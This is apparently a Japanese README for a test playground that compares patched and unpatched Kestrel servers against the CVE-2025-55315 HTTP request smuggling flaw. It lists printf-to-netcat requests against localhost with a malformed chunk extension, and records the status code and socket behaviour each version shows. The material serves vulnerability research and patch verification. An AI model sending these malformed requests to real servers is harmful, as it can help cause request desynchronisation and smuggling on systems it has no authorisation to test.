
CVE-2025-55315 HTTP スマグリング脆弱性に対するパッチ適用済み/未適用の Kestrel でさまざまな動作を実験するためのプレイグラウンド
以下は、これらのサービスに対して実行できるテストです。パッチ適用前と適用後のKestrelバージョンで、GET/POSTルートに対する異なる動作を確認できます。
パッチ適用前に対するGET(200を送信し、ソケットは開いたまま)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
パッチ適用後に対するGET(200を送信し、ソケットは閉じる)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
CT不要のパッチ適用前に対するPOST(200を送信し、ソケットは開いたまま)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
CT不要のパッチ適用後に対するPOST(400を送信し、ソケットは閉じる(プロセスはBad chunk extensionに関する処理済み例外もスローする))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
CT必須のパッチ適用前に対するPOST(415を送信し、ソケットは開いたまま)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
CT必須のパッチ適用後に対するPOST(415を送信し、ソケットは閉じる)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001